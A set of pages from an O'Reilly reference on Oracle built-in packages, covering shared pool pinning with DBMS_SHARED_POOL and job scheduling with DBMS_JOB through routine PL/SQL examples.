12.2.2.2.1 Exceptions

The UNKEEP procedure does not raise any package exceptions. It can raise the following Oracle exceptions if the name parameter does not resolve to a real object or an object of the proper type:

ORA-06564

Object <object name> does not exist.

ORA-06502

PL/SQL: numeric or value error.

12.2.2.2.2 Restrictions

Note the following restrictions on calling UNKEEP:

  • Oracle warns that the UNKEEP procedure may not be supported in future releases.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

12.2.2.2.3 Example

This example releases the object pinned by the KEEP procedure (see the example for KEEP earlier):

SQL> BEGIN
  2     SYS.DBMS_SHARED_POOL.UNKEEP('SYS.STANDARD','P');
  3  END;
  4  /

PL/SQL procedure successfully completed.

Usually an object is pinned into the shared pool for a reason, so it is not likely that you would need to call UNKEEP regularly. However, if large objects that have been pinned into the shared pool are definitely no longer needed, then memory can be made available to the shared pool by executing UNKEEP on these objects.

12.2.3 Monitoring and Modifying Shared Pool Behavior

You can monitor the behavior of objects in the shared pool with the SIZES procedure. You can modify that behavior with the ABORTED_REQUEST_THRESHOLD procedure.

12.2.3.1 The DBMS_SHARED_POOL.SIZES procedure

The SIZES procedure displays objects (including cursors and anonymous PL/SQL blocks) that are currently in the shared pool and that exceed the size (in kilobytes) specified by the minsize parameter. The program header follows:

PROCEDURE DBMS_SHARED_POOL.SIZES
   (minsize IN NUMBER);

The minsize parameter specifies the minimum size in kilobytes of shared pool objects that are displayed.

The program does not raise any package exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

12.2.3.1.1 Example

The following example demonstrates using the SIZES procedure in a SQL*Plus session to find all objects currently in the Oracle shared pool using more than 70 kilobytes of memory:

SQL> set serveroutput on size 100000
SQL> execute SYS.DBMS_SHARED_POOL.SIZES(70);

SIZE(K)	KEPT                                                    NAME
------	-------------------------------------------------	----------
119	SYS.STANDARD                                            (PACKAGE)
87	YES   QDBA.Q$INSTAT                                     (PACKAGE BODY)
80	YES   QDBA.Q$BGPROC                                     (PACKAGE BODY)
77	YES   QDBA.Q$CVAR                                       (PACKAGE)
72	begin :r:="LOADX"."RAND1";end;    (0D953BE8,3990841093)	(CURSOR)

PL/SQL procedure successfully completed.

Notice that a cursor object's name is composed of the address and hash value for the cursor. These are the values to use in calls to DBMS_SHARED_POOL.KEEP for pinning cursor objects. See the Section 12.2.4" section for an example of pinning a cursor.

The SIZES procedure is normally used from the SQL*Plus, SQLDBA, or Sever Manager utilities. In order to display the results, issue the SET SERVEROUTPUT ON SIZE NNNNNN command prior to calling this program, as shown in the example.

12.2.3.2 The DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD procedure

The ABORTED_REQUEST_THRESHOLD procedure allows the DBA to set a size threshold for restricting Oracle from dynamically flushing unpinned shared pool objects in order to make room for a large object greater than this size. When the threshold is set, any objects larger than the threshold for which sufficient free memory does not exist in the shared pool will fail to load with an ORA-4031 error (rather than flush other objects to make room). The program header follows:

PROCEDURE DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD
    (threshold_size IN NUMBER);

The threshold_size is a NUMBER, in bytes, that specifies the maximum size of objects that can be loaded if shared pool space is not available.

12.2.3.2.1 Exceptions

The ABORTED_THRESHOLD_REQUEST procedure does not raise any package exceptions. It can raise the following Oracle exceptions if the threshold_size parameter is out of range:

ORA-20000

threshold_size not in valid range: (5000 - 2147483647).

12.2.3.2.2 Restrictions

Note the following restrictions on calling ABORTED_THRESHOLD_REQUEST:

  • The range of valid values for the threshold_size is 5000 to 2147483647, inclusive.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

12.2.3.2.3 Example

The following shows how to keep objects larger than 50,000 bytes in size from flushing the shared pool when there is insufficient memory to load them:

SQL> BEGIN
  2     SYS.DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD(50000);
  3  END;
  4  /

PL/SQL procedure successfully completed.

ABORTED_REQUEST_THRESHOLD allows the DBA to control the negative impact of dynamically loading large objects into a fragmented or very active Oracle shared pool. Normally, these objects should be pinned into the shared pool using the KEEP procedure.

By setting the aborted request threshold, the DBA can avoid performance degradation for all users in cases of extreme pressure on shared pool resources. However, this may result in some users receiving the ORA-4031 error. In these cases, the DBA should determine the source of the ORA-4031 errors and pin the appropriate objects into the shared pool using KEEP.

12.2.4 DBMS_SHARED_POOL Examples

The DBMS_SHARED_POOL package is quite specialized and is intended for use by Oracle DBAs to help manage shared pool memory allocation problems. It would be unusual to see it used in applications, although a package-based application may try to pin itself into the shared pool using the KEEP procedure.

One problem with the SIZES procedure is that it uses DBMS_OUTPUT to display its results. It is used primarily interactively from the SQL*Plus, SQLDBA, or Server Manager utilities. This is unfortunate, because the natural way to use these results programmatically would be as input to the KEEP procedure. Ambitious DBAs might explore using the UTL_FILE package to pass results from SIZES to KEEP.

12.2.4.1 Pinning packages automatically

The best time to pin packages into the shared pool is immediately after the Oracle instance is first started and the database mounted. This is when shared pool memory is largely unallocated and has not become fragmented. It is a good DBA practice to call KEEP for any large packages as part of the database startup routine. Under UNIX, the Oracle-supplied script dbstart is often used to start databases. The DBA can customize this script to call KEEP and be sure the objects are pinned.

One thing about database startup and shutdown scripts is that once they are working, you really do not want to modify them unless absolutely necessary. However, the need to pin new packages into the shared pool can come up at any time, and different databases may need to pin different sets of objects. In order to minimize maintenance of database startup scripts, I decided to write a simple procedure called object_keeper, which uses a table of object names and pins all objects in the table when called. Each database's startup script can call object_keeper once to pin all objects, eliminating script maintenance to add or delete objects from the list. The table also allows each database to maintain a separate list of objects to pin.

The table that object_keeper uses is called keep_objects and is created as follows:

//* Filename on companion disk: keeper.sql */*
CREATE TABLE keep_objects
   (
    obj_schema    VARCHAR2(30)  NOT NULL
   ,obj_name      VARCHAR2(30)  NOT NULL
   ,CONSTRAINT ko_PK PRIMARY KEY
                  (obj_schema, obj_name)
   )
TABLESPACE USER_DATA
STORAGE (INITIAL 2
         NEXT    2
         PCTINCREASE 0);

The object_keeper procedure opens a cursor that joins keep_objects to DBA_OBJECTS and attempts to pin each of the objects in the cursor. Objects in keep_objects not found in DBA_OBJECTS will not be in the cursor, and thus will not attempt to be pinned. The call to DBMS_SHARED_POOL is contained in a BEGIN...END sub-block to allow exception trapping and continuation to the next object in the cursor.

//* Filename on companion disk: keeper.sql */*
CREATE OR REPLACE PROCEDURE object_keeper
   /*
   || Procedure to pin objects into the shared pool
   || using DBMS_SHARED_POOL.KEEP procedure.  All
   || objects found in the keep_objects table will
   || be KEEPed.
   ||
   || For best results, procedure should be created
   || in the SYS schema.
   ||
   || Author:  John Beresniewicz, Savant Corp
   || Created: 09/18/97
   ||
   || Compilation Requirements:
   ||
   || SELECT on SYS.DBA_OBJECTS
   || EXECUTE on SYS.DBMS_SHARED_POOL
   ||
   || Execution Requirements:
   ||
   || Some SYS objects may get ORA-1031 unless
   || the procedure is run by SYS
   ||
   */
IS
   CURSOR keep_objects_cur
   IS
   SELECT  DO.owner||'.'||DO.object_name  object
          ,DECODE(DO.object_type
                  ,'PACKAGE','P'
                  ,'PROCEDURE','P'
                  ,'FUNCTION','P'
                  ,'TRIGGER','R'
                  ,null
                 )                        type
     FROM  keep_objects  KO
          ,dba_objects   DO
    WHERE UPPER(KO.obj_schema) = DO.owner
      AND UPPER(KO.obj_name)   = DO.object_name
      AND DO.object_type IN
            ('PACKAGE','PROCEDURE','FUNCTION','TRIGGER');
BEGIN
   FOR ko_rec IN keep_objects_cur
   LOOP
      BEGIN
         SYS.DBMS_SHARED_POOL.KEEP
            (ko_rec.object, ko_rec.type);
         DBMS_OUTPUT.PUT_LINE
            ('KEPT:  '||ko_rec.object);

      EXCEPTION
         WHEN OTHERS THEN
            DBMS_OUTPUT.PUT_LINE(SQLERRM);
            DBMS_OUTPUT.PUT_LINE
               ('KEEP FAIL: '||ko_rec.object||' '||ko_rec.type);
      END;
   END LOOP;
END object_keeper;

The object_keeper procedure uses DBMS_OUTPUT to display the results of the calls to KEEP. This is primarily for testing to make sure that all objects actually do get pinned. Use the SET SERVEROUTPUT ON SIZE nnnnnn command to enable the output display.

The following shows the results in SQL*Plus of inserting several rows into keep_objects and executing the object_keeper procedure. This script is available on the disk in the keeptst.sql file.

SQL> INSERT INTO keep_objects
  2  VALUES ('SYS','STANDARD');

1 row created.

SQL> INSERT INTO keep_objects
  2  VALUES ('SYS','DBMS_STANDARD');

1 row created.

SQL> INSERT INTO keep_objects
  2  VALUES ('BOGUS','PACKAGE');

1 row created.

SQL> INSERT INTO keep_objects
  2  VALUES ('SYS','DIUTIL');

1 row created.

SQL> INSERT INTO keep_objects
  2  VALUES ('SYS','DBMS_SQL');

1 row created.

SQL> set serveroutput on size 100000
SQL> execute object_keeper;
KEEPED:  SYS.DBMS_SQL
KEEPED:  SYS.DBMS_STANDARD
KEEPED:  SYS.DIUTIL
KEEPED:  SYS.STANDARD

PL/SQL procedure successfully completed.

12.2.4.2 Pinning cursors into the shared pool

The DBMS_SHARED_POOL.KEEP procedure can be used to pin large cursors into the shared pool, as well as packages, procedures, and functions. In practice, it would be very unusual to need to do this. One reason might be in the case of a very large and complex view definition. Pinning the cursor associated with the view's SELECT statement into the shared pool may avoid memory management issues when users access the view.

In order to pin a cursor, the DBMS_SHARED_POOL.SIZES procedure is used to identify the cursor's address and hash value. These values are then passed as the name parameter in the call to DBMS_SHARED_POOL.KEEP. Note that because the cursor address is not identifiable until after the cursor is already in the shared pool, it is impossible to pre-pin a cursor object prior to its first reference by a user.

The following is output from a SQL*Plus session in which a cursor is identified using the SIZES procedure and is then pinned into the shared pool using KEEP:

SQL> execute dbms_shared_pool.sizes(50);

SIZE(K) 	KEPT   		                                NAME
------		------------------------------------------	--------------
180		SYS.STANDARD	                                (PACKAGE)
78	YES	QDBA.Q$CVAR	                                (PACKAGE)
74	SELECT JOB   FROM SYS.DBA_JOBS_RUNNING  WHERE JOB = :b1
        (0F884588,518752523)                            (CURSOR)
71	YES	QDBA.Q$INSTAT                                   (PACKAGE BODY)
62	YES	QDBA.Q$BGPROC                                   (PACKAGE BODY)

PL/SQL procedure successfully completed.

SQL> execute dbms_shared_pool.keep('0F884588,518752523','C');

PL/SQL procedure successfully completed.

SQL> execute dbms_shared_pool.sizes(50);

SIZE(K) KEPT   NAME

SIZE(K) 	KEPT   		                                NAME
------		------------------------------------------	--------------
180		SYS.STANDARD                                    (PACKAGE)
78	YES	QDBA.Q$CVAR                                     (PACKAGE)
74	YES(1) 	SELECT JOB   FROM SYS.DBA_JOBS_RUNNING  WHERE JOB = :b1
        (0F884588,518752523)                            (CURSOR)
71	YES   	 QDBA.Q$INSTAT                                  (PACKAGE BODY)
62	YES    	QDBA.Q$BGPROC                                   (PACKAGE BODY)
PL/SQL procedure successfully completed.

After the cursor is pinned, the second call to the SIZES procedure indicates this by showing "YES" in the KEPT output column. It is interesting (and somewhat confusing) that such a simple SELECT statement results in a cursor that uses 74K of shared pool memory.

12.2.4.3 The DBA_KEEPSIZES view

DBA_KEEPSIZES is a view that makes available the size PL/SQL objects will occupy in the shared pool when kept using the DBMS_SHARED_POOL.KEEP procedure. This view can be used by the DBA to plan for shared pool memory requirements of large PL/SQL objects. The actual view definition, contained in the dbmspool.plb file, follows:

CREATE OR REPLACE VIEW DBA_KEEPSIZES
   (totsize, owner, name)
AS
SELECT  TRUNC((SUM(parsed_size)+SUM(code_size))/1000)
       ,owner
       ,name
  FROM dba_object_size
 WHERE TYPE IN
        ('PACKAGE','PROCEDURE','FUNCTION','PACKAGE BODY','TRIGGER')
 GROUP BY owner, name;

The columns for DBA_KEEPSIZES are defined in the following table.

Column | Datatype | Description
TOTSIZE | NUMBER | Size in shared pool if object kept (via KEEP)
OWNER | VARCHAR2(30) | Schema of the stored PL/SQL object
NAME | VARCHAR2(30) | Name of the stored PL/SQL object

You can query DBA_KEEPSIZES to get an idea of which packages, procedures, and functions are relatively large, and thus may be good candidates for pinning into the shared pool.

Previous: 12.1 DBMS_SPACE: Obtaining Space Information | Oracle Built-in Packages | Next: 13. Job Scheduling in the Database
12.1 DBMS_SPACE: Obtaining Space Information | Book Index | 13. Job Scheduling in the Database
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] Job Scheduling in the Database

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 12.2 DBMS_SHARED_POOL: Pinning Objects Chapter 13 Next: 13.2 Job Queue Architecture

13. Job Scheduling in the Database

Contents:
Getting Started with DBMS_ JOB
Job Queue Architecture
Tips on Using DBMS_JOB
DBMS_JOB Examples

The DBMS_JOB package is actually an API into an Oracle subsystem known as the job queue. The Oracle job queue allows for the scheduling and execution of PL/SQL routines (jobs) at predefined times and/or repeated job execution at regular intervals. The DBMS_JOB package provides programs for submitting and executing jobs, changing job execution parameters, and removing or temporarily suspending job execution. This package is the only interface with the Oracle job queue.

DBMS_JOB is used to schedule many different types of tasks that can be performed in PL/SQL and that require regular execution. The job queue is used extensively by Oracle replication facilities, and was originally developed for the purpose of refreshing Oracle snapshots. DBMS_JOB is often used by DBAs to schedule regular maintenance activities on databases, typically during periods of low usage by end users. It can similarly be used by applications to schedule large batch operations during off hours. The job queue can also be used to start up service programs that listen on database pipes and respond to service requests by user sessions.

13.1 Getting Started with DBMS_ JOB

The DBMS_JOB package is created when the Oracle database is installed. The dbmsjob.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_JOB for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

There are several data dictionary views that display information about the Oracle job queue. These are called DBA_JOBS, USER_JOBS, and DBA_JOBS_RUNNING, and are created by the script catjobq.sql. This script is also located in the built-in packages source code directory and is automatically run by catproc.sql.

Finally, the job queue must have its dedicated background processes started in order to operate properly. This is accomplished by setting an initialization parameter in the INIT.ORA file for the database. The parameter is,

JOB_QUEUE_PROCESSES = n

where n is a number between 1 and 36. Other INIT.ORA parameters that affect job queue behavior are discussed in the Section 13.2, "Job Queue Architecture"" section.

13.1.1 DBMS_JOB Programs

Table 13.1 lists the programs defined for the DBMS_JOB packages.

Table 13.1: DBMS_JOB Programs
Name | Description | Use in SQL?
BROKEN | Marks the job as broken; do not re-execute | No
CHANGE | Changes job parameters that can be set by user | No
CHECK_PRIVS | Unknown | No
INTERVAL | Changes execution interval for job | No
ISUBMIT | Submits a new job specifying job number | No
NEXT_DATE | Changes next execution date for job | No
REMOVE | Removes existing job from the queue | No
RUN | Runs the job immediately in current session | No
SUBMIT | Submits a new job obtaining new job number | No
USER_EXPORT | Creates text of call to recreate a job | No
WHAT | Changes PL/SQL executed for job | No

The DBMS_JOB package does not declare any package exceptions or nonprogram elements. In addition, none of the programs in this package asserts a purity level with the RESTRICT_REFERENCES pragma.

13.1.2 Job Definition Parameters

The programs in DBMS_JOB share a set of parameters that define jobs, their execution times, and frequency of execution. All of the DBMS_JOB procedures manipulate one or more of these parameters:

Parameter | Description
job | Unique identifier of the job
what | PL/SQL code to execute as a job
next_date | Next execution date of the job
interval | Date function to compute next execution date of job
broken | Flags job as broken and not to be executed

The following sections describe the characteristics of these parameters that apply to all of the procedures that contain them as formal parameters.

13.1.2.1 The job parameter

The job parameter is an integer that uniquely identifies the job. It can be either selected by the user or automatically assigned by the system, depending on which of the two job submission procedures is used to enter the job into the job queue. The DBMS_JOB.SUBMIT procedure automatically assigns the job number by obtaining the next value from the sequence SYS.JOBSEQ. It is returned as an OUT parameter so the caller can subsequently identify the job submitted. DBMS_JOB.ISUBMIT allows the user to assign a specific integer identifier to the job, and it is up to the caller to ensure that this number is unique.

Job numbers cannot be changed other than by removing and resubmitting the job. The job number is retained even when the database is exported and imported. Be aware of the potential for job number conflicts when performing export/import between databases that contain jobs.

13.1.2.2 The what parameter

The what parameter is a character string that evaluates to a valid PL/SQL call to be executed automatically by the job queue. You must enclose the what parameter in single quotes if you are using a string literal. Alternatively, you can use a VARCHAR2 variable containing the desired string value. The actual PL/SQL call must be terminated with a semicolon. To embed literal strings in the PL/SQL call, include two single quotes around the literal.

The length of the what parameter is limited to 2000 bytes under Oracle 7.3 and 4000 bytes under Oracle 8.0. These limits should be more than sufficient for all practical purposes. The value of the parameter is normally a call to a stored PL/SQL program. It is best to avoid using large anonymous PL/SQL blocks, although these are legal values. Another good tip is to always wrap stored procedure invocations in an anonymous block, as some subtle difficulties are possible otherwise. Thus, instead of:

what => 'my_proc(parm1);'

it is safer to use:

what => 'begin my_proc(parm1); end;'

Whenever the what parameter is modified to change the job to execute, the user's current session settings are recorded and become part of the job's execution environment. This could alter the expected execution behavior of the job if the session settings were different from those in place when the job was originally submitted. It is important to be aware of this potential side effect and be sure that session settings are correct whenever the what parameter is used in a DBMS_JOB procedure call. See the Section 13.2" section for more discussion of the job execution environment.

Jobs that reference database links will fail if the database link is not fully qualified with the username and password. This is another subtle consequence of the execution environment of jobs.

The job definition specified by the what parameter can also reference the following "special" job parameter values:

Parameter | Mode
job | IN
next_date | IN/OUT
broken | IN/OUT

When the job definition references these job parameters in its own parameter list, their values are assigned to the parameters in the job definition when the job executes. For example, suppose that a procedure called proc1 has the following specification:

PROCEDURE proc1 (my_job_number IN INTEGER);

Suppose also that we submit proc1 to be executed by the job queue as follows:

DECLARE
   jobno   INTEGER;
BEGIN
   DBMS_JOB.SUBMIT(jobno,`proc1(my_job_number=>job);');
END;
/

When proc1 is executed by the queue, the my_job_number parameter is assigned the job's job number, and thus proc1 will "know" what job number it is.

The ability to reference and modify job parameters from within the job itself enables the creation of self-modifying and self-aware jobs. See the Section 13.4, "DBMS_JOB Examples"" section for an example of a job that demonstrates these powerful characteristics.

13.1.2.3 The next_date parameter

The next_date parameter tells the job queue when a job should be executed next. This parameter defaults to SYSDATE in both the DBMS_JOB.SUBMIT and BROKEN procedures, indicating that the job should be run immediately.

Whenever a NULL value is passed for the next_date parameter, the next execution date for the job is set to January 1, 4000. This effectively keeps the job from being executed without removing it from the job queue.

The next_date parameter can be set to a time in the past. Jobs are chosen for execution in order of their next execution dates, so setting a job's next_date back can effectively move the job ahead in the queue. This can be useful in systems where the job queue processes are not keeping up with jobs to be executed, and a specific job needs to be executed as soon as possible.

13.1.2.4 The interval parameter

The interval parameter is a character string representing a valid Oracle date expression. This date expression is evaluated each time the job begins execution. When a job completes successfully, this date becomes the next execution date for the job. It is important to remember that interval evaluation and updating the job's next execution date happen at different times. For instance, a job that takes one hour to complete and has interval set to SYSDATE+1/48 (every 30 minutes) will constantly execute, because each time it completes, it will already be 30 minutes late to execute again.

The interval expression must evaluate to either a NULL value or a time in the future. When interval evaluates to a NULL value, the job will not be re-executed after the next execution and will be automatically removed from the job queue. Thus, to execute a job one time only, pass a NULL value for the interval parameter.

Jobs may have complex execution schedules, requiring complex date arithmetic expressions for the interval parameter. The interval parameter can contain a call to a PL/SQL function with a return datatype of DATE, suggesting a nice way to encapsulate complex execution schedules within simple interval parameter values. However, experimentation with using function calls for interval resulted in erratic job execution behavior. Thus, unfortunately, a useful alternative to embedding complex date arithmetic into the interval parameter does not appear to be currently available.

13.1.2.5 The broken parameter

The broken parameter is a BOOLEAN flag used to indicate that the job is to be marked as broken (TRUE) or unbroken (FALSE). The job queue processes will not attempt to execute jobs marked as broken.

Previous: 12.2 DBMS_SHARED_POOL: Pinning Objects | Oracle Built-in Packages | Next: 13.2 Job Queue Architecture
12.2 DBMS_SHARED_POOL: Pinning Objects | Book Index | 13.2 Job Queue Architecture
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.2 Job Queue Architecture

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

13.2 Job Queue Architecture

The job queue is really a subsystem within an Oracle database, which uses dedicated background processes and catalog tables to execute user PL/SQL procedures automatically without user intervention. It is useful to get a good conceptual understanding of the job queue, because some of the behavior of this queue is not obvious. Figure Figure 13.1 shows a schematic of the job queue architecture.

Figure 13.1: . Schematic of job queue architecture

13.2.1 INIT.ORA Parameters and Background Processes

These three INIT.ORA parameters are instrumental in controlling the job queue:

JOB_QUEUE_PROCESSES
JOB_QUEUE_INTERVAL
JOB_QUEUE_KEEP_CONNECTIONS

13.2.1.1 JOB_QUEUE_PROCESSES

The job queue (or SNP[1]) background processes are started when the Oracle instance is started. There are as many SNP processes started as specified in the INIT.ORA parameter JOB_QUEUE_PROCESSES. The range of valid values is from 0 to 36, so there can be a maximum of 36 SNP processes per Oracle instance. Under most operating systems, the characters SNP will appear as part of the process name. For example, under UNIX, an Oracle instance called DEV with three job queue processes would show the following process names:

[1] The SNP acronym results from the fact that these special background processes were originally developed to refresh Oracle snapshots.

ora_DEV_snp0
ora_DEV_snp1
ora_DEV_snp2

One significant difference between the SNP background processes and other Oracle background processes is that killing an SNP process will not crash the instance. While you're not likely to want to do this very often, this behavior is useful to know in case a job queue process "runs away" and consumes excessive resources. When an SNP process is killed or fails on its own, Oracle automatically starts a new one to replace it.

13.2.1.2 JOB_QUEUE_INTERVAL

The job queue processes "wake up" periodically and check the job queue catalog to see if any jobs are due to execute. The INIT.ORA parameter JOB_QUEUE_INTERVAL controls how long the SNP processes "sleep" (in seconds) between catalog checks. Setting the interval too low can cause unnecessary overhead as SNP processes constantly check the catalog. Setting the interval too high can keep jobs from executing at the expected time if an SNP process does not awaken promptly enough. The proper balance will depend on the specific mix of jobs in a given environment. For most purposes, the default setting of 60 seconds is adequate.

13.2.1.3 JOB_QUEUE_KEEP_CONNECTIONS

The third INIT.ORA parameter that supposedly affects the behavior of the SNP processes is JOB_QUEUE_KEEP_CONNECTIONS. This parameter has been made obsolete in Oracle8i. In fact, it apparently never actually had any effect under previous releases, although it has been documented as having various effects. Some sources say that it controlled the database sessions held by the SNP background processes; others say that it controlled the sessions in remote databases for jobs using database links.

Although setting this parameter appears to do no harm, it is best to leave it alone.

13.2.2 Job Execution and the Job Execution Environment

When an SNP process wakes up, it looks in the catalog to see if the current date exceeds the next execution date for any jobs in the queue. If a job is due to execute, the SNP process will dynamically do the following:

  • Become a database session with the username of the job's owner

  • Alter session NLS (National Language Support) settings to match those in place when the job was submitted or last modified

  • Calculate the next execution date by applying the interval date expression to SYSDATE

  • Execute the PL/SQL job definition

  • If execution succeeds, upate next_date for the job with the previously calculated next execution date; otherwise, increment the number of failures

  • Repeat if another job is due to run or sleep for JOB_QUEUE_INTERVAL seconds

In the first two steps, the SNP process creates a job execution environment that mimics that of a real user session that is executing the job definition's PL/SQL. This includes setting the following NLS settings:

NLS_LANGUAGE
NLS_TERRITORY
NLS_CURRENCY
NLS_ISO_CURRENCY
NLS_NUMERIC_CHARACTERS
NLS_DATE_FORMAT
NLS_DATE_LANGUAGE
NLS_SORT

In Trusted Oracle databases, the session also sets the session label and high/low clearances.

The execution environment does not exactly mimic a user session, and this has some consequences worth noting. First, any nondefault roles that were enabled when the job was submitted will not be enabled in the job execution environment. Therefore, jobs that rely on privileges obtained through nondefault roles should not be submitted, and modification of user default roles can compromise the future execution of existing jobs. Also, any database links used in the job definition itself, or the procedures executed by it, must be fully qualified with a remote username and password. The SNP process is not able to initiate a remote session without an explicit password. Apparently, it does not assume the local user's password as part of the execution environment session settings.

When job execution fails, the SNP processes attempts to rerun the job one minute later. If this run fails, another attempt is made in two minutes and another in four minutes. The job queue doubles the retry interval until it exceeds the normal execution interval, which is then used. After 16 consecutive failures, the job is flagged as broken and will not be re-executed by the job queue without user intervention.

13.2.3 Miscellaneous Notes

The Oracle export and import utilities preserve job numbers. Therefore, when you are importing into a database with jobs in the job queue, job number conflicts are possible. The same consideration applies when using DBMS_JOB.USER_EXPORT to transfer jobs from one database to another.

The job queue is not designed to function well under Oracle Parallel Server configurations. In particular, here are two significant limitations:

  • Jobs cannot be specified to run in a specific Oracle instance.

  • The SYS.JOB$ catalog table is not partitioned by instance and will be subject to "pinging" by job queue processes from different instances.

The workaround to these problems is to only run the job queue in a single instance of an OPS environment. This is done by setting JOB_QUEUE_PROCESSES to zero in all but one of the Oracle instances.

13.2.4 DBMS_JOB Interface

This section describes the programs available in the DBMS_JOB package.

13.2.5 Submitting Jobs to the Job Queue

Use the SUBMIT and ISUBMIT procedures to submit jobs to the job queue.

13.2.5.1 The DBMS_JOB.SUBMIT procedure

The SUBMIT procedure submits a new job to the job queue. The job number is obtained from the sequence SYS.JOBSEQ and returned as an OUT parameter. Here's the header for this program:

PROCEDURE DBMS_JOB.SUBMIT
   (job OUT BINARY_INTEGER
   ,what IN VARCHAR2
   ,next_date IN DATE DEFAULT SYSDATE
   ,interval IN VARCHAR2 DEFAULT 'null'
   ,no_parse IN BOOLEAN DEFAULT FALSE);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
what | PL/SQL code to execute as a job
next_date | Next execution date of the job
interval | Date expression to compute next execution date of job
no_parse | Flag indicating whether to parse job PL/SQL at time of submission (FALSE) or execution (TRUE)

13.2.5.1.1 Exceptions.

The program does not raise any package exceptions. The interval date expression must evaluate to a future date or the following Oracle exception will be raised:

ORA-23420

Interval must evaluate to a time in the future.

13.2.5.1.2 Example.

This SQL*Plus script submits a job that uses DBMS_DDL.ANALYZE_OBJECT to analyze a particular table every day at midnight:

var jobno NUMBER

BEGIN
   DBMS_JOB.SUBMIT
      (job => :jobno
      ,what => 'DBMS_DDL.ANALYZE_OBJECT(''TABLE'',''LOAD1'',''TENK'',
                   ''ESTIMATE'',null,estimate_percent=>50);'
      ,next_date => TRUNC(SYSDATE+1)
      ,interval => 'TRUNC(SYSDATE+1)'
      );
END;
/
print jobno

The what parameter must be enclosed in single quotes and the PL/SQL call terminated with a semicolon. To embed literal strings in the PL/SQL call, use two single quotes around the literal.

The no_parse parameter controls when the job's PL/SQL definition is actually parsed. The default value of FALSE specifies that the PL/SQL is parsed immediately when the job is submitted. Alternatively, if you specify TRUE, parsing can be deferred until the first execution of the job. This allows jobs to be submitted into the queue for future execution where objects necessary for execution (tables, packages, etc.) are not in place at the time of submission.

TIP: On some platforms and versions of Oracle, a COMMIT is required for the job to be picked up by the job queue for execution. If submitted jobs do not seem to be executing at all, this may be the cause. The workaround for this problem is to always COMMIT immediately after calling SUBMIT.

To execute a job one time only, pass a NULL value for the interval parameter.

13.2.5.2 The DBMS_JOB.ISUBMIT procedure

The ISUBMIT procedure submits a new job to the job queue with the specified job number. Here's the header for this program:

PROCEDURE DBMS_JOB.ISUBMIT
   (job IN BINARY_INTEGER
   ,what IN VARCHAR2
   ,next_date IN VARCHAR2
   ,interval IN VARCHAR2 DEFAULT 'null'
   ,no_parse IN BOOLEAN DEFAULT FALSE);

Parameters are summarized in the following table.

Parameter | Description
job | Unique identifier of the job
what | PL/SQL code to execute as a job
next_date | Next execution date of the job
interval | Date expression to compute next execution date of job
no_parse | Flag indicating whether to parse job PL/SQL at time of submission (FALSE) or execution (TRUE)

13.2.5.2.1 Exceptions

The program does not raise any packaged exceptions. The interval date expression must evaluate to a future date or the following Oracle exception will be raised:

ORA-23420

Interval must evaluate to a time in the future.

The catalog table that records job queue entries is protected by a unique constraint on the job number. Therefore, using the ISUBMIT procedure to submit a job number that already exists results in the following error:

ORA-00001

Unique constraint (SYS.I_JOB_JOB) violated.

13.2.5.2.2 Example

The following example submits three jobs to the job queue, numbered 1, 2, and 3. Job 1 passes a string and number into procedure my_job1, runs it in one hour, and executes it every day thereafter. Job 2 passes a date into procedure my_job2, executes for the first time tomorrow, and execute it every 10 minutes thereafter. Job 3 is a PL/SQL block that does nothing, executes immediately, and will be removed from the queue automatically.

BEGIN
   DBMS_JOB.ISUBMIT
      (job  => 1
      ,what => 'my_job1(''string_parm_value'',120);'
      ,next_date => SYSDATE + 1/24
      ,interval => 'SYSDATE +1');

   DBMS_JOB.ISUBMIT
      (2, 'my_job2(date_IN=>SYSDATE);'
        ,SYSDATE+1,'SYSDATE+10/1440');

   DBMS_JOB.ISUBMIT(3,'BEGIN null; END;',SYSDATE,null);
END;

The ISUBMIT procedure allows the calling user or application to decide the job identification number. Collisions in job numbers will result in the unique constraint violation noted earlier. Therefore, it is probably better not to embed fixed job numbers into applications (as this will increase the chances for collisions) and to use SUBMIT instead of ISUBMIT. If specific job numbering is required, then you can minimize job number collisions by pushing the SYS.JOBSEQ sequence out to a number greater than those used in calls to ISUBMIT. This can be accomplished by consuming sequence numbers as follows:

SELECT SYS.JOBSEQ.NEXTVAL
  FROM dictionary
 WHERE rownum < 101;

After issuing the previous command, DBMS_JOB.SUBMIT will always return job numbers higher than 100. Note that in this command, the dictionary view is not special, but is used because it is publicly accessible and contains more than 100 rows. You can substitute any table or view accessible to the user.

WARNING: When you are using the ISUBMIT procedure, a subtle problem can arise from the fact that next_date has datatype VARCHAR2 instead of DATE (as in SUBMIT). When DATE values are assigned to next_date in calls to ISUBMIT, an implicit conversion to VARCHAR2 is done using the session's current NLS_DATE_FORMAT as the date mask. This can result in unexpected truncation of next_date. For instance, if the session NLS_DATE_FORMAT is `YY-MM-DD', dates assigned to next_date will be truncated to 12:00 a.m. To avoid this problem, either make sure that the session NLS_DATE_FORMAT includes all date components or supply next_date as a fully specified VARCHAR2.

13.2.6 Modifying Job Characteristics

This section describes the procedures you use to modify job characteristics: CHANGE, INTERVAL, NEXT_DATE, and WHAT.

13.2.6.1 The DBMS_JOB.CHANGE procedure

